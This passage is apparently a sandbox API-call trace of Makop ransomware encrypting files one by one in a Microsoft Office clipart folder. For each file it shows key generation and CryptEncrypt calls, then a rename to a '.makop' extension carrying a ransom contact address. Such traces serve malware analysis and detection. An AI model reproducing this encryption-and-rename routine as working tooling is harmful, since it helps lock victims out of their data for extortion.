hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0154.887] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0154.887] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0154.887] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0154.887] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0154.888] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0154.888] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.888] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x161, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x161, lpOverlapped=0x0) returned 1 [0154.888] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x170, dwBufLen=0x170 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x170) returned 1 [0154.888] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.888] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x170, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x170, lpOverlapped=0x0) returned 1 [0154.888] CryptDestroyKey (hKey=0x48c7128) returned 1 [0154.888] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x244, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.889] SetEndOfFile (hFile=0xf0) returned 1 [0154.895] GetProcessHeap () returned 0x48a0000 [0154.895] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0154.896] GetProcessHeap () returned 0x48a0000 [0154.896] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0154.896] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01295_.GIF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0154.896] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01295_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01295_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01295_.GIF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01295_.gif.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0154.903] CloseHandle (hObject=0xf0) returned 1 [0154.903] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x997dd300, ftCreationTime.dwHighDateTime=0x1bd4e67, ftLastAccessTime.dwLowDateTime=0x70875130, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x997dd300, ftLastWriteTime.dwHighDateTime=0x1bd4e67, nFileSizeHigh=0x0, nFileSizeLow=0x1ef, dwReserved0=0x0, dwReserved1=0x0, cFileName="WB01296_.GIF", cAlternateFileName="")) returned 1 [0154.903] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01296_.GIF") returned 63 [0154.903] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01296_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01296_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0154.904] GetProcessHeap () returned 0x48a0000 [0154.904] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0154.904] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0154.904] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0154.904] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x1, lpOverlapped=0x0) returned 1 [0154.909] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0154.909] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0154.909] GetProcessHeap () returned 0x48a0000 [0154.909] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0154.909] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0154.910] CryptDestroyKey (hKey=0x48c7128) returned 1 [0154.910] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0154.910] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0154.910] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0154.910] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0154.910] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0154.910] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0154.911] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0154.911] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0154.911] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.911] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x1ef, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x1ef, lpOverlapped=0x0) returned 1 [0154.911] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1f0, dwBufLen=0x1f0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1f0) returned 1 [0154.911] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.911] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x1f0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x1f0, lpOverlapped=0x0) returned 1 [0154.911] CryptDestroyKey (hKey=0x48c7128) returned 1 [0154.912] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x2c4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.912] SetEndOfFile (hFile=0xf0) returned 1 [0154.919] GetProcessHeap () returned 0x48a0000 [0154.919] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0154.919] GetProcessHeap () returned 0x48a0000 [0154.919] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0154.919] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01296_.GIF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0154.919] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01296_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01296_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01296_.GIF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01296_.gif.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0154.922] CloseHandle (hObject=0xf0) returned 1 [0154.922] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9387f200, ftCreationTime.dwHighDateTime=0x1bd4e67, ftLastAccessTime.dwLowDateTime=0x5e574fb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9387f200, ftLastWriteTime.dwHighDateTime=0x1bd4e67, nFileSizeHigh=0x0, nFileSizeLow=0x37e, dwReserved0=0x0, dwReserved1=0x0, cFileName="WB01297_.GIF", cAlternateFileName="")) returned 1 [0154.923] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01297_.GIF") returned 63 [0154.923] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01297_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01297_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0154.924] GetProcessHeap () returned 0x48a0000 [0154.924] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0154.924] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0154.924] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0154.924] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x2, lpOverlapped=0x0) returned 1 [0154.928] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0154.928] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0154.928] GetProcessHeap () returned 0x48a0000 [0154.928] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0154.928] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0154.928] CryptDestroyKey (hKey=0x48c7128) returned 1 [0154.929] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0154.929] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0154.929] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0154.929] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0154.929] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0154.929] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0154.930] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0154.930] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0154.930] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.930] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x37e, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x37e, lpOverlapped=0x0) returned 1 [0154.930] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x380, dwBufLen=0x380 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x380) returned 1 [0154.930] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.930] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x380, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x380, lpOverlapped=0x0) returned 1 [0154.930] CryptDestroyKey (hKey=0x48c7128) returned 1 [0154.930] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x454, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.931] SetEndOfFile (hFile=0xf0) returned 1 [0154.938] GetProcessHeap () returned 0x48a0000 [0154.938] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0154.938] GetProcessHeap () returned 0x48a0000 [0154.938] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0154.938] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01297_.GIF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0154.938] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01297_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01297_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01297_.GIF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01297_.gif.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0154.939] CloseHandle (hObject=0xf0) returned 1 [0154.940] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8d921100, ftCreationTime.dwHighDateTime=0x1bd4e67, ftLastAccessTime.dwLowDateTime=0x5e574fb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8d921100, ftLastWriteTime.dwHighDateTime=0x1bd4e67, nFileSizeHigh=0x0, nFileSizeLow=0x2bc, dwReserved0=0x0, dwReserved1=0x0, cFileName="WB01298_.GIF", cAlternateFileName="")) returned 1 [0154.940] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01298_.GIF") returned 63 [0154.940] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01298_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01298_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0154.942] GetProcessHeap () returned 0x48a0000 [0154.942] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0154.942] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0154.942] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0154.943] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0154.946] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0154.947] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0154.947] GetProcessHeap () returned 0x48a0000 [0154.947] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0154.947] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0154.947] CryptDestroyKey (hKey=0x48c7128) returned 1 [0154.947] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0154.947] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0154.947] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0154.948] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0154.948] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0154.948] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0154.948] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0154.948] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0154.948] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.948] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x2bc, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x2bc, lpOverlapped=0x0) returned 1 [0154.949] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x2c0, dwBufLen=0x2c0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x2c0) returned 1 [0154.949] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.949] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x2c0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x2c0, lpOverlapped=0x0) returned 1 [0154.949] CryptDestroyKey (hKey=0x48c7128) returned 1 [0154.949] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x394, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.949] SetEndOfFile (hFile=0xf0) returned 1 [0154.956] GetProcessHeap () returned 0x48a0000 [0154.956] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0154.956] GetProcessHeap () returned 0x48a0000 [0154.956] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0154.957] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01298_.GIF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0154.957] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01298_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01298_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01298_.GIF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01298_.gif.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0154.958] CloseHandle (hObject=0xf0) returned 1 [0154.958] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82d77c00, ftCreationTime.dwHighDateTime=0x1bd4e67, ftLastAccessTime.dwLowDateTime=0x5e574fb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x82d77c00, ftLastWriteTime.dwHighDateTime=0x1bd4e67, nFileSizeHigh=0x0, nFileSizeLow=0x13e, dwReserved0=0x0, dwReserved1=0x0, cFileName="WB01299_.GIF", cAlternateFileName="")) returned 1 [0154.958] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01299_.GIF") returned 63 [0154.958] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01299_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01299_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0154.959] GetProcessHeap () returned 0x48a0000 [0154.959] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0154.959] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0154.959] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0154.959] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x2, lpOverlapped=0x0) returned 1 [0154.963] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0154.963] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0154.963] GetProcessHeap () returned 0x48a0000 [0154.963] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0154.963] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | 